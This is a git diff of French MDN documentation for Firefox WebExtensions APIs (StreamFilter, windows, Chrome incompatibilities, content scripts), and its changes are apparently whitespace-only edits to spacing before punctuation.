{{WebExtAPIRef("webRequest.StreamFilter.close()", "close()")}}, ou {{WebExtAPIRef("webRequest.StreamFilter.disconnect()", "disconnect()")}}. + - : Le canal sous-jacent transfère actuellement des données qui seront acheminées vers l'extension dans un ou plusieurs événements {{WebExtAPIRef("webRequest.StreamFilter.ondata", "ondata")}}. L'extension peut appeler des fonctions de filtrage telles que {{WebExtAPIRef("webRequest.StreamFilter.write()", "write()")}}, {{WebExtAPIRef("webRequest.StreamFilter.close()", "close()")}}, ou {{WebExtAPIRef("webRequest.StreamFilter.disconnect()", "disconnect()")}}. - `"finishedtransferringdata"` - - : Le canal sous-jacent a terminé le transfert des données. Dans cet état, l'extension peut toujours écrire des données de réponse en utilisant la fonction {{WebExtAPIRef("webRequest.StreamFilter.write()", "write()")}} du filtre. + - : Le canal sous-jacent a terminé le transfert des données. Dans cet état, l'extension peut toujours écrire des données de réponse en utilisant la fonction {{WebExtAPIRef("webRequest.StreamFilter.write()", "write()")}} du filtre. - `"suspended"` - - : Le transfert de données est actuellement suspendu. Dans cet état, l'extension peut reprendre la requête en appelant la fonction {{WebExtAPIRef("webRequest.StreamFilter.resume()", "resume()")}} et peut écrire les données de réponse en utilisant la fonction {{WebExtAPIRef("webRequest.StreamFilter.write()", "write()")}} du filtre. + - : Le transfert de données est actuellement suspendu. Dans cet état, l'extension peut reprendre la requête en appelant la fonction {{WebExtAPIRef("webRequest.StreamFilter.resume()", "resume()")}} et peut écrire les données de réponse en utilisant la fonction {{WebExtAPIRef("webRequest.StreamFilter.write()", "write()")}} du filtre. - `"closed"` - : L'extension a fermé la requête en appelant la fonction {{WebExtAPIRef("webRequest.StreamFilter.close()", "close()")}} du filtre. Le filtre ne déclenchera plus d'événements, et l'extension ne peut pas appeler de fonctions de filtrage. - `"disconnected"` - - : L'extension a déconnecté le filtre de la requête en appelant la fonction {{WebExtAPIRef("webRequest.StreamFilter.disconnect()", "disconnect()")}} du filtre. Toutes les autres données seront livrées directement, sans passer par le filtre. Le filtre ne déclenchera plus d'événements, et l'extension ne peut pas appeler de fonctions de filtrage. + - : L'extension a déconnecté le filtre de la requête en appelant la fonction {{WebExtAPIRef("webRequest.StreamFilter.disconnect()", "disconnect()")}} du filtre. Toutes les autres données seront livrées directement, sans passer par le filtre. Le filtre ne déclenchera plus d'événements, et l'extension ne peut pas appeler de fonctions de filtrage. - `"failed"` - : Une erreur s'est produite et le filtre a été déconnecté de la requête. L'extension peut trouver un message d'erreur dans {{WebExtAPIRef("webRequest.StreamFilter.error", "error")}}, et ne peut appeler aucune fonction de filtrage. diff --git a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/write/index.md b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/write/index.md index d27b9dec5d..625f198e79 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/write/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/webrequest/streamfilter/write/index.md @@ -36,7 +36,7 @@ None. ## Exemples -Cet exemple utilise `write()` pour remplacer "Example" dans la réponse par "WebExtension Example". +Cet exemple utilise `write()` pour remplacer "Example" dans la réponse par "WebExtension Example". ```js function listener(details) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/windows/create/index.md b/files/fr/mozilla/add-ons/webextensions/api/windows/create/index.md index 1444e97e20..1bac73948b 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/windows/create/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/windows/create/index.md @@ -43,7 +43,7 @@ var creating = browser.windows.create( - `allowScriptsToClose` {{optional_inline}} - - : `boolean`. Lorsque la fenêtre est ouverte, elle contiendra un seul onglet, ou plus d'un onglet si `url` est donnée et comprendra un tableau contenant plus d'une URL. Par défaut, les scripts s'exécutant dans ces pages ne sont pas autorisés à fermer leur onglet en utilisant [`window.close()`](/fr/docs/Web/API/Window/close). Si vous incluez `allowScriptsToClose` et le mettez à `true` , alors ce comportement par défaut est modifié, de sorte que les scripts peuvent fermer leurs onglets. Notez cela : + - : `boolean`. Lorsque la fenêtre est ouverte, elle contiendra un seul onglet, ou plus d'un onglet si `url` est donnée et comprendra un tableau contenant plus d'une URL. Par défaut, les scripts s'exécutant dans ces pages ne sont pas autorisés à fermer leur onglet en utilisant [`window.close()`](/fr/docs/Web/API/Window/close). Si vous incluez `allowScriptsToClose` et le mettez à `true` , alors ce comportement par défaut est modifié, de sorte que les scripts peuvent fermer leurs onglets. Notez cela : - Ceci ne s'applique qu'aux onglets qui ont été ouverts lors de la création de la fenêtre. Si l'utilisateur ouvre plus d'onglets dans cette fenêtre, les scripts ne pourront pas fermer ces nouveaux onglets. - Si la ou les url(s) donnée(s) dans `url` pointent vers les [pages d'extension](/fr/Add-ons/WebExtensions/user_interface/Bundled_web_pages) (c'est-à-dire qu'il s'agit de pages incluses avec cette extension et chargées avec le protocole "moz-extension:") alors les scripts _sont_ par défaut autorisés à fermer ces onglets. @@ -57,15 +57,15 @@ var creating = browser.windows.create( - `incognito` {{optional_inline}} - : `boolean`. Que la nouvelle fenêtre soit une fenêtre privée. Notez que si vous spécifiez `incognito` et `tabId`, c'est-à-dire, vous ne pouvez pas déplacer un onglet privé dans une fenêtre privée. - `left` {{optional_inline}} - - : `integer`. Nombre de pixels pour positionner la nouvelle fenêtre à partir du bord gauche de l'écran. Si elle n'est pas spécifiée, la nouvelle fenêtre est décalée naturellement à partir de la dernière fenêtre ciblée. Cette valeur est ignorée pour les panneaux. (Dans Firefox, cette valeur est actuellement ignorée pour les popups (bug 1271047) mais peut être définie en utilisant browser.windows.update().) + - : `integer`. Nombre de pixels pour positionner la nouvelle fenêtre à partir du bord gauche de l'écran. Si elle n'est pas spécifiée, la nouvelle fenêtre est décalée naturellement à partir de la dernière fenêtre ciblée. Cette valeur est ignorée pour les panneaux. (Dans Firefox, cette valeur est actuellement ignorée pour les popups (bug 1271047) mais peut être définie en utilisant browser.windows.update().) - `state` {{optional_inline}} - : Une valeur {{WebExtAPIRef('windows.WindowState')}}. L'état initial de la fenêtre. Les états minimisés, maximisés et plein écran ne peuvent pas être combinés avec la gauche, le haut, la largeur ou la hauteur. - `tabId` {{optional_inline}} - : `integer`. Si inclus, déplace un onglet de l'ID spécifié d'une fenêtre existante dans la nouvelle fenêtre. - `titlePreface` {{optional_inline}} - - : `string`. Utilisez ceci pour ajouter une chaîne au début du titre de la fenêtre du navigateur. Selon le système d'exploitation sous-jacent, cela pourrait ne pas fonctionner sur les fenêtres du navigateur qui n'ont pas de titre (comme about:blank dans Firefox). + - : `string`. Utilisez ceci pour ajouter une chaîne au début du titre de la fenêtre du navigateur. Selon le système d'exploitation sous-jacent, cela pourrait ne pas fonctionner sur les fenêtres du navigateur qui n'ont pas de titre (comme about:blank dans Firefox). - `top` {{optional_inline}} - - : `integer`. Le nombre de pixels pour positionner la nouvelle fenêtre à partir du bord supérieur de l'écran. Si elle n'est pas spécifiée, la nouvelle fenêtre est naturellement décalée à partir de la dernière fenêtre ciblée. Cette valeur est ignorée pour les panneaux. (Dans Firefox, cette valeur est actuellement ignorée pour les popups (bug 1271047) mais peut être définie en utilisant browser.windows.update().) + - : `integer`. Le nombre de pixels pour positionner la nouvelle fenêtre à partir du bord supérieur de l'écran. Si elle n'est pas spécifiée, la nouvelle fenêtre est naturellement décalée à partir de la dernière fenêtre ciblée. Cette valeur est ignorée pour les panneaux. (Dans Firefox, cette valeur est actuellement ignorée pour les popups (bug 1271047) mais peut être définie en utilisant browser.windows.update().) - `type` {{optional_inline}} - : Une valeur {{WebExtAPIRef('windows.CreateType')}} spécifie le type de fenêtre du navigateur à créer. Spécifié le `panneau` ou la `fenêtre contextuelle` ici pour ouvrir une fenêtre sans l'interface utilisateur (barre d'adresse, barre d'outils, etc). - `url` {{optional_inline}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/windows/get/index.md b/files/fr/mozilla/add-ons/webextensions/api/windows/get/index.md index 7a956473c0..4e4e0b4ef2 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/windows/get/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/windows/get/index.md @@ -37,13 +37,13 @@ var getting = browser.windows.get( - : `object`. Contient des options pour filtrer le type de fenêtre. - `populate`{{optional_inline}} - - : `boolean`. Si c'est vrai, l'objet {{WebExtAPIRef('windows.Window')}} aura une propriété de tabulation qui contient une liste d'objets {{WebExtAPIRef('tabs.Tab')}} représentant les onglets ouverts dans la fenêtre. Les objets Tab ne contiennent que les propriétés `url`, `title` et `favIconUrl` i le fichier manifeste de l'extension comprend la permission `"tabs"`. + - : `boolean`. Si c'est vrai, l'objet {{WebExtAPIRef('windows.Window')}} aura une propriété de tabulation qui contient une liste d'objets {{WebExtAPIRef('tabs.Tab')}} représentant les onglets ouverts dans la fenêtre. Les objets Tab ne contiennent que les propriétés `url`, `title` et `favIconUrl` i le fichier manifeste de l'extension comprend la permission `"tabs"`. - `windowTypes`{{optional_inline}} - : `Ensemble d'objets` {{WebExtAPIRef('windows.WindowType')}}. Si défini, le retour de {{WebExtAPIRef('windows.Window')}} sera filtré en fonction de son type. Si désactivé, le filtre par défaut est réglé sur `['normal', 'panel', 'popup']`, avec des types de fenêtres `'panel'` qui sont limités aux propres fenêtres de l'extension. > **Note :** > -> Si fourni, le composant `windowTypes` de `getInfo` est ignoré. L'utilisation de `windowTypes` a été dépréciée à partir de Firefox 62. +> Si fourni, le composant `windowTypes` de `getInfo` est ignoré. L'utilisation de `windowTypes` a été dépréciée à partir de Firefox 62. ### Valeur de retour @@ -57,7 +57,7 @@ Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui se Cet exemple obtient la fenêtre actuelle et enregistre les URL des onglets qu'il contient. Notez que vous aurez besoin des [permission](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) "onglets" pour accéder aux URL des onglets. -> **Note :** Cet exemple est un peu irréaliste: dans cette situation, vous utiliserez probablement {{WebExtAPIRef("windows.getCurrent()")}}. +> **Note :** Cet exemple est un peu irréaliste: dans cette situation, vous utiliserez probablement {{WebExtAPIRef("windows.getCurrent()")}}. ```js function logTabs(windowInfo) { diff --git a/files/fr/mozilla/add-ons/webextensions/api/windows/getall/index.md b/files/fr/mozilla/add-ons/webextensions/api/windows/getall/index.md index df513536f9..02f5221990 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/windows/getall/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/windows/getall/index.md @@ -34,13 +34,13 @@ var gettingAll = browser.windows.getAll( - : `object`. Cela contrôle ce que les objets {{WebExtAPIRef('windows.Window')}} sont récupérés. - `populate`{{optional_inline}} - - : `boolean` Par défaut à `false`. S'il est défini sur `true`, chaque objet {{WebExtAPIRef('windows.Window')}} aura une propriété `tabs` qui contient une liste d'objets {{WebExtAPIRef('tabs.Tab')}} représentant les tabs de cette fenêtre. Les objets `Tab` contiendront les propriétés `url`, `title` et `favIconUrl` uniquement si le fichier manifest de l'extension contient les permissions `"tabs"`. + - : `boolean` Par défaut à `false`. S'il est défini sur `true`, chaque objet {{WebExtAPIRef('windows.Window')}} aura une propriété `tabs` qui contient une liste d'objets {{WebExtAPIRef('tabs.Tab')}} représentant les tabs de cette fenêtre. Les objets `Tab` contiendront les propriétés `url`, `title` et `favIconUrl` uniquement si le fichier manifest de l'extension contient les permissions `"tabs"`. - `windowTypes`{{optional_inline}} - : `Un ensemble d'objets` {{WebExtAPIRef('windows.WindowType')}}. Si cette option est définie, les objets {{WebExtAPIRef('windows.Window')}} renvoyés seront filtrés en fonction de leur type. Si désactivé, le filtre par défaut est réglé sur `['normal', 'panel', 'popup']`, avec des types de fenêtres `'panel'` qui sont limités aux propres fenêtres de l'extension. ### Valeur retournée -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un ensemble d'objets {{WebExtAPIRef('windows.Window')}}, représentant toutes les fenêtres qui correspondent aux critères donnés. Si une erreur survient, la promesse sera rejetée avec un message d'erreur. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un ensemble d'objets {{WebExtAPIRef('windows.Window')}}, représentant toutes les fenêtres qui correspondent aux critères donnés. Si une erreur survient, la promesse sera rejetée avec un message d'erreur. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/windows/getcurrent/index.md b/files/fr/mozilla/add-ons/webextensions/api/windows/getcurrent/index.md index e119f9cb9f..8de4a1f8f6 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/windows/getcurrent/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/windows/getcurrent/index.md @@ -38,11 +38,11 @@ var gettingCurrent = browser.windows.getCurrent( - `populate`{{optional_inline}} - : `boolean`. Si c'est vrai, l'objet {{WebExtAPIRef('windows.Window')}} aura une propriété de tabulation contenant une liste d'objets {{WebExtAPIRef('tabs.Tab')}} représentant les onglets de la fenêtre. Les objets Tab ne contiennent que les propriétés `url`, `title` et `favIconUrl` si le fichier manifest de l'extension comprend la permission `"tabs"`. - `windowTypes`{{optional_inline}} - - : Un ensemble d'objets `{{WebExtAPIRef('windows.WindowType')}}`. Si défini, le {{WebExtAPIRef('windows.Window')}} retourné sera filtré en fonction de son type. Si désactivé, le filtre par défaut est réglé sur `['normal', 'panel', 'popup']`, avec des types de fenêtres `'panneau'` qui sont limités aux propres fenêtres de l'extension. + - : Un ensemble d'objets `{{WebExtAPIRef('windows.WindowType')}}`. Si défini, le {{WebExtAPIRef('windows.Window')}} retourné sera filtré en fonction de son type. Si désactivé, le filtre par défaut est réglé sur `['normal', 'panel', 'popup']`, avec des types de fenêtres `'panneau'` qui sont limités aux propres fenêtres de l'extension. > **Note :** > -> Si fourni, le composant `windowTypes` de `getInfo` est ignoré. L'utilisation de `windowTypes` a été dépréciée à partir de Firefox 62. +> Si fourni, le composant `windowTypes` de `getInfo` est ignoré. L'utilisation de `windowTypes` a été dépréciée à partir de Firefox 62. ### Valeur retournée diff --git a/files/fr/mozilla/add-ons/webextensions/api/windows/getlastfocused/index.md b/files/fr/mozilla/add-ons/webextensions/api/windows/getlastfocused/index.md index 802ba48514..0a34c1332f 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/windows/getlastfocused/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/windows/getlastfocused/index.md @@ -36,7 +36,7 @@ var gettingWindow = browser.windows.getLastFocused( - `populate`{{optional_inline}} - : `boolean`. Si c'est vrai, l'objet {{WebExtAPIRef('windows.Window')}} aura une propriété de tabulation contenant une liste d'objets {{WebExtAPIRef('tabs.Tab')}} représentant les onglets de la fenêtre. Les objets d'onglets ne contiennent que les propriétés `url`, `title` et `favIconUrl` si le fichier manifest de l'extension comprend la permission `"tabs"`. - `windowTypes`{{optional_inline}} - - : Un ensemble d'objets {{WebExtAPIRef('windows.WindowType')}}. Si défini, le {{WebExtAPIRef('windows.Window')}} retourné sera filtré en fonction de son type. Si désactivé, le filtre par défaut est réglé sur `['normal', 'panel', 'popup']`, avec le type de fenêtre `'panel'` qui sont limités aux propres fenêtres de l'extension. + - : Un ensemble d'objets {{WebExtAPIRef('windows.WindowType')}}. Si défini, le {{WebExtAPIRef('windows.Window')}} retourné sera filtré en fonction de son type. Si désactivé, le filtre par défaut est réglé sur `['normal', 'panel', 'popup']`, avec le type de fenêtre `'panel'` qui sont limités aux propres fenêtres de l'extension. > **Note :** > diff --git a/files/fr/mozilla/add-ons/webextensions/api/windows/remove/index.md b/files/fr/mozilla/add-ons/webextensions/api/windows/remove/index.md index d9eeda97a6..8b58e9fd73 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/windows/remove/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/windows/remove/index.md @@ -73,7 +73,7 @@ document.querySelector('#close').addEventListener(async ({ button, }) => { try { } catch (error) { console.error('Closing failed:', error); } }); ``` -Dans Firefox, la même chose pourrait être réalisée avec la propriété de création de fenêtre `.allowScriptsToClose` et `window.close()`. +Dans Firefox, la même chose pourrait être réalisée avec la propriété de création de fenêtre `.allowScriptsToClose` et `window.close()`. {{WebExtExamples}} diff --git a/files/fr/mozilla/add-ons/webextensions/api/windows/update/index.md b/files/fr/mozilla/add-ons/webextensions/api/windows/update/index.md index b5098be23c..640af97758 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/windows/update/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/windows/update/index.md @@ -55,7 +55,7 @@ var updating = browser.windows.update( ### Valeur de retour -Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet {{WebExtAPIRef('windows.Window')}} contenant les détails de la fenêtre mise à jour. Si une erreur survient, la promesse sera rejetée avec un message d'erreur. +Une [`Promise`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) qui sera remplie avec un objet {{WebExtAPIRef('windows.Window')}} contenant les détails de la fenêtre mise à jour. Si une erreur survient, la promesse sera rejetée avec un message d'erreur. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/api/windows/window/index.md b/files/fr/mozilla/add-ons/webextensions/api/windows/window/index.md index 8ddf92f11f..e0401fba87 100644 --- a/files/fr/mozilla/add-ons/webextensions/api/windows/window/index.md +++ b/files/fr/mozilla/add-ons/webextensions/api/windows/window/index.md @@ -16,7 +16,7 @@ Les valeurs de ce type sont des objets. Ils contiennent les propriétés suivant - `alwaysOnTop` - : `boolean`. Que la fenêtre soit configurée pour toujours être sur le dessus. - `focused` - - : `boolean`. Que la fenêtre soit actuellement la fenêtre ciblée. + - : `boolean`. Que la fenêtre soit actuellement la fenêtre ciblée. - `height`{{optional_inline}} - : `integer`. La hauteur de la fenêtre, y compris le cadre, en pixels. diff --git a/files/fr/mozilla/add-ons/webextensions/chrome_incompatibilities/index.md b/files/fr/mozilla/add-ons/webextensions/chrome_incompatibilities/index.md index 5794d8e959..a8d384a0c9 100644 --- a/files/fr/mozilla/add-ons/webextensions/chrome_incompatibilities/index.md +++ b/files/fr/mozilla/add-ons/webextensions/chrome_incompatibilities/index.md @@ -81,7 +81,7 @@ Si vous écrivez votre extension en utilisant `browser` et les promesses, l'équ La page sur la [compatibilité des navigateurs pour les API JavaScript WebExtension](/fr/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs) inclut l'ensemble des tableaux de compatibilité. Lorsqu'il existe des réserves autour du support d'un élément d'API donné, ceci est indiqué dans ces tableaux avec un astérisque "\*". Ces réserves sont détaillées la page de documentation respective de l'API. -Ces tableaux sont générés à partir des données de compatibilité stockées en tant que [fichiers JSON dans GitHub](https://github.com/mdn/browser-compat-data). +Ces tableaux sont générés à partir des données de compatibilité stockées en tant que [fichiers JSON dans GitHub](https://github.com/mdn/browser-compat-data). Le reste de cette section décrit les problèmes de compatibilité qui ne sont pas encore pris en compte dans ces tableaux. @@ -93,7 +93,7 @@ Le reste de cette section décrit les problèmes de compatibilité qui ne sont p #### proxy -- [Cette API est complètement différente de celle conçue par Chrome. Avec l'API de Chrome, une extension peut enregistrer un fichier PAC, mais peut également définir des règles de proxy explicites. Comme cela est également possible en utilisant les fichiers PAC étendus, cette API ne prend en charge que l'approche de fichier PAC. Étant donné que cette API est incompatible avec l'API `proxy` de Chrome, cette API est uniquement disponible via l'espace de nom `browser`.](/fr/Add-ons/WebExtensions/API/proxy) +- [Cette API est complètement différente de celle conçue par Chrome. Avec l'API de Chrome, une extension peut enregistrer un fichier PAC, mais peut également définir des règles de proxy explicites. Comme cela est également possible en utilisant les fichiers PAC étendus, cette API ne prend en charge que l'approche de fichier PAC. Étant donné que cette API est incompatible avec l'API `proxy` de Chrome, cette API est uniquement disponible via l'espace de nom `browser`.](/fr/Add-ons/WebExtensions/API/proxy) #### tabs @@ -135,7 +135,7 @@ Firefox ne prend pas en charge [`alert()`](/fr/docs/Web/API/Window/alert), [`con #### web_accessible_resources -Dans Chrome, lorsqu'une ressource est répertoriée dans `web_accessible_resources`, elle est accessible via `chrome-extension://<id-de-l-extension>/<chemin/vers/la/ressource>`. L'identifiant de l'extension est fixé pour une extension donnée. +Dans Chrome, lorsqu'une ressource est répertoriée dans `web_accessible_resources`, elle est accessible via `chrome-extension://<id-de-l-extension>/<chemin/vers/la/ressource>`. L'identifiant de l'extension est fixé pour une extension donnée. Firefox l'implémente différemment en utilisant un UUID aléatoire qui change pour chaque instance de Firefox : `moz-extension://<UUID-aleatoire>/<chemin/vers/la/ressource>`. Cette façon aléatoire peut empêcher certaines choses, comme ajouter l'URL de votre extension spécifique à la politique CSP d'un autre domaine. diff --git a/files/fr/mozilla/add-ons/webextensions/content_scripts/index.md b/files/fr/mozilla/add-ons/webextensions/content_scripts/index.md index 1d289d059d..c909eacb72 100644 --- a/files/fr/mozilla/add-ons/webextensions/content_scripts/index.md +++ b/files/fr/mozilla/add-ons/webextensions/content_scripts/index.md @@ -47,7 +47,7 @@ Il est possible de charger un script de contenu dans une page web de trois mani 1. **Lors de la phase d'installation, pour les pages qui correspondent à certains motifs d'URL :** en utilisant la clé [`content_scripts`](/fr/Add-ons/WebExtensions/manifest.json/content_scripts) dans le fichier `manifest.json`, vous pouvez demander au navigateur de charger un script de contenu chaque fois que le navigateur charge une page dont l'URL [correspond à un motif donné](/fr/Add-ons/WebExtensions/Match_patterns). 2. **Lors de l'exécution, pour les pages qui correspondent à certains motifs d'URL :** en utilisant l'API {{WebExtAPIRef("contentScripts")}}, vous pouvez demander au navigateur de charger un script de contenu chaque fois que le navigateur charge une page dont l'URL [correspond à un motif donné](/fr/Add-ons/WebExtensions/Match_patterns). Cette méthode est la version dynamique de la première méthode. -3. **Lors de l'exécution, pour certains onglets spécifiques :** en utilisant la méthode [`tabs.executeScript()`](/fr/Add-ons/WebExtensions/API/Tabs/executeScript), vous pouvez charger un script de contenu dans un onglet spécifique quand vous le souhaitez (par exemple lorsqu'un utilisateur clique sur un [bouton d'action du navigateur](/fr/Add-ons/WebExtensions/Browser_action)). +3. **Lors de l'exécution, pour certains onglets spécifiques :** en utilisant la méthode [`tabs.executeScript()`](/fr/Add-ons/WebExtensions/API/Tabs/executeScript), vous pouvez charger un script de contenu dans un onglet spécifique quand vous le souhaitez (par exemple lorsqu'un utilisateur clique sur un [bouton d'action du navigateur](/fr/Add-ons/WebExtensions/Browser_action)). Il n'y a qu'une seule portée globale pour chaque _frame_ et pour chaque extension. Cela signifie que les variables d'un script de contenu peuvent être accédées directement par un autre script de contenu, indépendamment de la manière dont le script de contenu a été chargé. @@ -61,14 +61,14 @@ En utilisant la méthode (3), vous pouvez également charger des scripts dans de Les scripts de contenu peuvent accéder et modifier le DOM de la page à la manière des scripts classique. Ils peuvent également observer tout changement du DOM effectué par les scripts de la page. -Cependant, les scripts de contenu reçoivent une « vue propre du DOM ». Cela signifie que : +Cependant, les scripts de contenu reçoivent une « vue propre du DOM ». Cela signifie que : - Les scripts de contenu ne peuvent pas accéder aux variables JavaScript définies par les scripts de la page. - Si un script de page redéfinit une propriété intrinsèque du DOM, le script de contenu verra la version originale de cette propriété et non la version redéfinie. Dans Firefox, ce comportement s'appelle [Vision Xray](/fr/docs/Mozilla/Tech/Xray_vision). -Prenons par exemple la page web suivante : +Prenons par exemple la page web suivante : ```html <!DOCTYPE html> @@ -83,7 +83,7 @@ Prenons par exemple la page web suivante : </html> ``` -Le script « page-script.js » est écrit ci-dessous : +Le script « page-script.js » est écrit ci-dessous : ```js // page-script.js @@ -103,7 +103,7 @@ window.confirm = function() { } ``` -Et maintenant une extension injecte ce script de contenu dans la page : +Et maintenant une extension injecte ce script de contenu dans la page : ```js // content-script.js @@ -119,7 +119,7 @@ console.log(window.toto); // non défini window.confirm("Êtes-vous sûr ?"); // appelle la méthode window.confirm() originale ``` -L'inverse est également vrai : les scripts de la page ne peuvent pas voir les propriétés JavaScript ajoutées par les scripts de contenu. +L'inverse est également vrai : les scripts de la page ne peuvent pas voir les propriétés JavaScript ajoutées par les scripts de contenu. Ceci signifie que le script de contenu peut compter sur un comportement prévisible des propriétés du DOM et n'a pas à se soucier d'un éventuel conflit entre les variables qu'il définit et celles des scripts de page. @@ -142,14 +142,14 @@ Si un script de contenu veut utiliser une bibliothèque JavaScript, alors la bib ### Les API WebExtension accessibles -En plus des API standard du DOM, les scripts de contenu peuvent utiliser les API WebExtension suivantes : +En plus des API standard du DOM, les scripts de contenu peuvent utiliser les API WebExtension suivantes : -Depuis l'API [`extension`](/fr/Add-ons/WebExtensions/API/extension) : +Depuis l'API [`extension`](/fr/Add-ons/WebExtensions/API/extension) : - [`getURL()`](</fr/Add-ons/WebExtensions/API/extension#getURL()>) - [`inIncognitoContext`](/fr/Add-ons/WebExtensions/API/extension#inIncognitoContext) -Depuis l'API [`runtime`](/fr/Add-ons/WebExtensions/API/runtime) : +Depuis l'API [`runtime`](/fr/Add-ons/WebExtensions/API/runtime) : - [`connect()`](</fr/Add-ons/WebExtensions/API/runtime#connect()>) - [`getManifest()`](</fr/Add-ons/WebExtensions/API/runtime#getManifest()>) @@ -158,7 +158,7 @@ Depuis l'API [`runtime`](/fr/Add-ons/WebExtensions/API/runtime) : - [`onMessage`](/fr/Add-ons/WebExtensions/API/runtime#onMessage) - [`sendMessage()`](</fr/Add-ons/WebExtensions/API/runtime#sendMessage()>) -Depuis l'API [`i18n`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/i18n) : +Depuis l'API [`i18n`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/i18n) : - [`getMessage()`](/fr/Add-ons/WebExtensions/API/i18n/getMessagee) - [`getAcceptLanguages()`](/fr/Add-ons/WebExtensions/API/i18n/getAcceptLanguages) @@ -173,7 +173,7 @@ L'ensemble des propriétés et méthodes de l'API [`storage`](/fr/Add-ons/WebExt ### XHR et Fetch -Les scripts de contenu peuvent effectuer des requêtes en utilisant les API classiques [`window.XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) et [`window.fetch()`](/fr/docs/Web/API/Fetch_API). +Les scripts de contenu peuvent effectuer des requêtes en utilisant les API classiques [`window.XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) et [`window.fetch()`](/fr/docs/Web/API/Fetch_API). Les scripts de contenu obtiennent les mêmes privilèges interdomaines que le reste de l'extension : si l'extension a demandé un accès interdomaine pour un domaine à l'aide de la clé [`permissions`](/fr/Add-ons/WebExtensions/manifest.json/permissions) dans le fichier [`manifest.json`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json), ses scripts de contenu auront également accès à ce domaine. @@ -183,7 +183,7 @@ Ceci est accompli en exposant des instances XHR et _fetch_ privilégiées dans l Bien que les scripts de contenu ne puissent pas utiliser la totalité des API WebExtension, ils peuvent communiquer avec les scripts d'arrière-plan de l'extension via l'API de messagerie et ont donc indirectement accès aux mêmes API que ces derniers. -Par défault, il existe deux moyens de communication entre les scripts d'arrière-plan et les scripts de contenu : vous pouvez envoyer des messages un par un, avec des réponses optionelles, ou vous pouvez établir une connexion continue entre les scripts, et utiliser cette connexion pour échanger des messages. +Par défault, il existe deux moyens de communication entre les scripts d'arrière-plan et les scripts de contenu : vous pouvez envoyer des messages un par un, avec des réponses optionelles, ou vous pouvez établir une connexion continue entre les scripts, et utiliser cette connexion pour échanger des messages. ### Un message à la fois @@ -235,7 +235,7 @@ Pour envoyer un message à la fois, vous pouvez utiliser les API suivantes : </tbody> </table> -Par exemple, voici un script de contenu qui écoute les évènements de clic sur une page web. Si le clic était sur un lien, il envoie un message à la page d'arrière-plan avec l'URL cible : +Par exemple, voici un script de contenu qui écoute les évènements de clic sur une page web. Si le clic était sur un lien, il envoie un message à la page d'arrière-plan avec l'URL cible : ```js // content-script.js @@ -261,7 +261,7 @@ function notify(message) { browser.notifications.create({ "type": "basic", "iconUrl": browser.extension.getURL("link.png"), - "title": "Vous avez cliqué sur un lien !", + "title": "Vous avez cliqué sur un lien !", "message": message.url }); } @@ -277,7 +277,7 @@ L'une des alternatives possibles est d'établir une connexion longue durée entr De chaque côté (contenu d'une part, arrière-plan d'autre part), les scripts possèdent un objet [`runtime.Port`](/fr/Add-ons/WebExtensions/API/runtime/Port) dont ils peuvent se servir pour échanger des messages. -Pour créer la connexion : +Pour créer la connexion : - L'un des côtés se tient à l'écoute des connexions avec [](/fr/Add-ons/WebExtensions/API/runtime/onConnect)[`runtime.onConnect`](/fr/Add-ons/WebExtensions/API/runtime/onConnect). - L'autre côté appelle [`tabs.connect()`](/fr/Add-ons/WebExtensions/API/tabs/connect) (pour se connecter à un script de contenu) ou [`runtime.connect()`](/fr/Add-ons/WebExtensions/API/runtime/connect) (pour se connecter à un script d'arrière plan). Ces deux méthodes renvoient un objet [`runtime.Port`](/fr/Add-ons/WebExtensions/API/runtime/Port). @@ -285,7 +285,7 @@ Pour créer la connexion : Une fois que chaque côté possède son propre port, ils peuvent échanger en utilisant `runtime.Port.postMessage()` pour envoyer des message et `runtime.Port.onMessage` pour en recevoir. -Par exemple, dès le chargement, ce script de contenu : +Par exemple, dès le chargement, ce script de contenu : - se connecte au script d'arrière plan et stocke l'objet `Port` dans une variable `myPort` - écoute des messages sur `myPort`, et les enregistre. @@ -303,14 +303,14 @@ myPort.onMessage.addListener(function(m) { }); document.body.addEventListener("click", function() { - myPort.postMessage({greeting: "clic sur la page !"}); + myPort.postMessage({greeting: "clic sur la page !"}); }); ``` -Le script d'arrière plan qui correspond · +Le script d'arrière plan qui correspond · - Écoute les tentatives de connexion depuis le script de contenu. -- Quand il reçoit une tentative de connexion : +- Quand il reçoit une tentative de connexion : - Enregistre le port dans une variable nommée `portFromCS` - Envoie un message au script de contenu en utilisant le port @@ -325,7 +325,7 @@ var portFromCS; function connected(p) { portFromCS = p; - 